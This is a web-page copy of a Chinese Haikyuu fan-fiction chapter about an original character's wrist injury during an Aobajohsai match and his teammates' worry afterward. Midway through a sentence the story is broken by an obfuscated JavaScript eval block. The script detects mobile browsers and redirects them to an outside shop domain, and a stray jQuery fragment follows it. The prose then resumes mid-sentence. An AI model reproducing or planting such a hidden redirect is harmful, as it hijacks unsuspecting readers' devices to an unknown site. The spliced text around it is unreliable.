杉山凛久的手上甚至还带着护腕,可见砸在地板上的那一下有多狠。
“摘下来我看看。”入畑教练动作小心地托着他的肘部,队友见这边有情况围了上来。
“杉山受伤了,接下来……”
还不等教练安排好接下来的上场队员,他们就忧心忡忡地嚷着要看伤处。
杉山凛久把胳膊从教练手里抽回来,把护腕重新按紧:“没大事,不用担心。”
尖锐刺痛一股一股的涌现,右手在不受控制的颤抖,杉山凛久用左手握住,试图让它看起来和平常一样。
及川彻不认同地皱眉,朝岩泉一使眼色,后者会意后佯装生气要揍他,他才不情不愿地把护腕摘下来。
没了护腕的遮挡,杉山凛久的手腕已经肿得不成样子,因为是刚出现的伤,还不见淤青,很难判断是软组织挫伤还是骨折。
赛场的急救站只能做应急处理,及川彻当机立断:“直接送去医院。”
太兴师动众了,杉山凛久并不是不拿自己的身体当回事,只是他能分辨出自己的骨头没问题,况且他也不想就这样结束比赛:“我要留在现场。”
“不行。”岩泉一驳回。
“我要看着你们赢下比赛。”
“……那先去做应急处理。”及川彻似是知道无法强行改变杉山凛久意愿,无可奈何地让步。
“及川队长?”矢巾秀显然也是想让杉山凛久直接去医院的,听到及川彻改口后很是诧异。
及川彻轻叹一声:“是我们。”
“什么?”杉山凛久没理解这突如其来的一句是从之前哪个话题延伸出来的。
“你在场下好好休息,我们会赢的。”及川彻神色沉静,“记住了,是我们。”
杉山凛久眉心微微颤动,眼里泛起一股热意,半晌后重重点头,刘海随着他的动作起伏,遮住了他眼里翻涌的情绪。
“对,是我们。”
青城开始休息,为下一场比赛做准备,对手泉石穿的是白色队服,因此青城需要换上那套青色队服,出发去往急救室的杉山凛久注意到后,也拿走了自己的那套。
冰敷并固定好手腕后,杉山凛久再次返回比赛现场,这时青城和泉石打得正激烈,他小跑回了替补席,穿着刚换上的青色队服。
医务人员说最好是去医院拍X光,为了减少晃动避免二次伤害,医生把他的手腕用夹板绑得严严实实,看起来比真实情况严重不知多少倍。
杉山凛久是半点没发觉自己这幅严重到吓人的模样,只是感觉自己回来后,青城打的更用力了。
余光瞥见观众席上的一片黑色,他转头望去,是换回自己衣服的乌野众人。
椋木羽也在里面,看到杉山凛久惨兮兮的挂着胳膊,不知道在想什么。
“凛久前辈受伤了?”日向眼眶还泛着红,注意到他的伤后担心地皱眉。
“是为了接住那最后一颗球吧。”不像在场上比赛的队员,在替补席的菅原视野更加开阔,他注意到杉山凛久最后一扑时的动作,当时就已经有了他受伤的猜测。
场上不论发生什么都是不可估量的,有些意外即使可惜也无法避免。
来不及让日向失落和愧疚了,菅原先他一步开口:“你的球,是让人拼尽全力不顾代价也想要接下的。”
“倾尽全力吗……”日向喃喃,声音只有站在他身边的菅原模糊地听见了,但他知道自己不用再多说些什么,只是将注意力重新放回了场上青城和泉石的比赛,因为他清楚,日向不会被这一战打倒,乌野也不会。
虽然乌野在观众席,杉山凛久在替补席,但他们还是一起将这场青城vs泉石的比赛看到了最后。
期间没有人再说话,但杉山凛久知道,乌野正在接受着比赛结果,并在心里较起了劲。
每个人都把自己的努力发挥到了极致,只要上了场就没有人退缩,有的只是一次又一次的不服输。
遗憾吗?那是必然的。悔恨吗?却不见得。
就像杉山凛久,他并不后悔用一只手的代价换最后一球的得分,哪怕会有遗憾。
正如菅原说的,他拼尽全力不顾代价也想接到那一球。
就算他知道自己这一跃会让他无法在下一次上场,他也会毫不犹豫地将手腕砸向地面,只要能救起那一球。
但他现在没办法把多余的心思分在不同选择下的结局上,现在的杉山凛久只想随着场上不停跑跳的队友一起完成比赛,一起获得胜利。
是的,一起,哪怕他此刻不在场上。
一只完整且实力强悍的队伍,哪怕发生了人员变动也不会有太大的影响,比如青城,更何况他们在上一场与乌野的比赛中连赢两局获得胜利,士气得到了极大的加成,再加上遗憾下场的杉山凛久……
学长/学弟/同级还在下面捂着伤观战呢,都给我拼命地打一场漂亮仗啊!带上他的那份一起啊!!
青城这场比赛打的可以说是残暴,两局分别以25:16和25:21获得了胜利,直到现在,青城还没有跟哪个队伍打到第三场过。
入畑教练抵住额头,感到欣慰的同时还有那么一丝丝危机感,总感觉杉山在成员心里的分量已经超过他这个教练了。
不过也好,这群孩子们这段时间的进步简直出乎了他的意料。
本想着杉山凛久的入队对他们来说是扔进沙丁鱼群里的鲶鱼,没想到组成了狼群,互相配合,彼此依靠,也算是误打误撞得来的好结果。
来不及为胜利喜悦,青城跟对手握手后就围住杉山凛久,七嘴八舌地催他去医院。
医生为了保险,用板子固定的夸张了些,让场上比赛的人心惊胆战的,一场比赛的时间过去,杉山凛久的手腕已经可以小幅度活动了,远没有看起来那样严重。
为了不让他们担心,杉山凛久拆开固定板:“已经没事了,不信你们……”
有个“看”字被他硬生生吞进了肚。
原先没浮现出来的淤青已经显现,没了绷带的遮挡,紫青色的皮肉让周遭人倒吸一口凉气,抽气声霎时此起彼伏。
“这样还说没事?”岩泉一罕见地慌乱,看着散落的绷带和夹板,想固定回去又怕不专业造成二次创伤。
“只是看着严重而已。”杉山凛久扭动手腕,阵阵痛感让他脸色白了一些。
这下是没人再相信他说的“没事”了,受伤后还逞强的事他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948299|212816||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
可不是第一次干,面对这种不把自己身体当回事的人,最好的办法就是让态度强硬一点。
杉山凛久眼睁睁看着花卷脸上浮现起熟悉的神色,果不其然,他的下一句就是:“直接把他抬去医院好了。”
“不用吧……”杉山凛久后推两步,对他来说,医院的可怕不亚于苹果里出现了半只虫子、梦里想上厕所!
前段时间在医院照顾椋木羽时,杉山凛久的角色是照料方,这让他感觉自己正在被别人需要,而不是一个需要被照拂的弱者,甚至是同情的对象,所以他才能心无旁骛。
但要是跟着队友一起去了医院,那么他又要变成被照料方,这时的无能为力,是他最不想被别人看到的,很无力,也很没用。
这种狼狈的样子,他自己知道就好了。
“我自己去就行。”他都想好这次要阳奉阴违了,一来他觉得自己的伤真的只是看起来夸张,二来医院这种地方,能不去就不去,他一会儿喷点止痛喷雾就好了。
花卷依旧不改口,甚至招呼着队友要上手,“抬走抬走!一看就是在骗人。”
呃啊,被看穿了!
“我带他去好了。”
身后突然伸出一只手,按在杉山凛久的肩膀上,将他向后带了一下。
听到熟悉的声音,他感动回头,入目的果然是椋木羽那张吊儿郎当的脸,但对现在的杉山凛久来说却格外的顺眼。
带我走!杉山凛久用眼神示意椋木羽赶紧把他带出场外,他想对方应该是看懂了,因为对方接受到他的眼神信息后开始跟及川彻交涉。
对于椋木羽来说,在场较为熟悉的只有曾经说过几句话的及川彻,他又是青城队长,直接从他手里要人是最方便的。
“去个医院这么兴师动众的,不知道的还以为某人残了。”
虽说是交涉,但他说话语气着实是不够好听,杉山凛久常常在想,为什么他们是同一个灵魂,性格却相差这么大。
但杉山凛久属实是多虑了,因为他说的话有时也足够嚣张,只是他本人似乎对此一无所知呢。
面对椋木羽强硬将人带走的话语,及川彻思索片刻就答应下来,他并不觉得小木块的白毛“弟弟”有多靠谱,只是现在能让小木块心甘情愿去医院的,目前只有他一个人。
“检查完把你的检查报告发给我哟~”及川彻要再加一层保险,语气轻快,但面上满是威胁。
杉山凛久忙不迭点头,暂时脱离了被抬去医院的悲惨宿命,他离开体育馆后打算跟椋木羽分道扬镳。
“你去哪?”椋木羽抱着胳膊挡在他身前。
“回家。”杉山凛久很理所当然的样子。
“啧。”椋木羽烦闷地发出嫌弃的声音,“不是说我带你去医院吗?别忘了你还要交一份检查报告。”
杉山凛久像炸了毛的猫一样警惕起来:“没必要,只是报告而已,很容易搞定。”
说完后又想起什么,椋木羽这小子有向及川彻传消息的前科,杉山凛久又补上一句:“只要你不说,就能瞒过去。”
“哦~”椋木羽意味深长。
“你也不想你的队长知道你不听话,从而惩罚你禁止上场比赛吧……”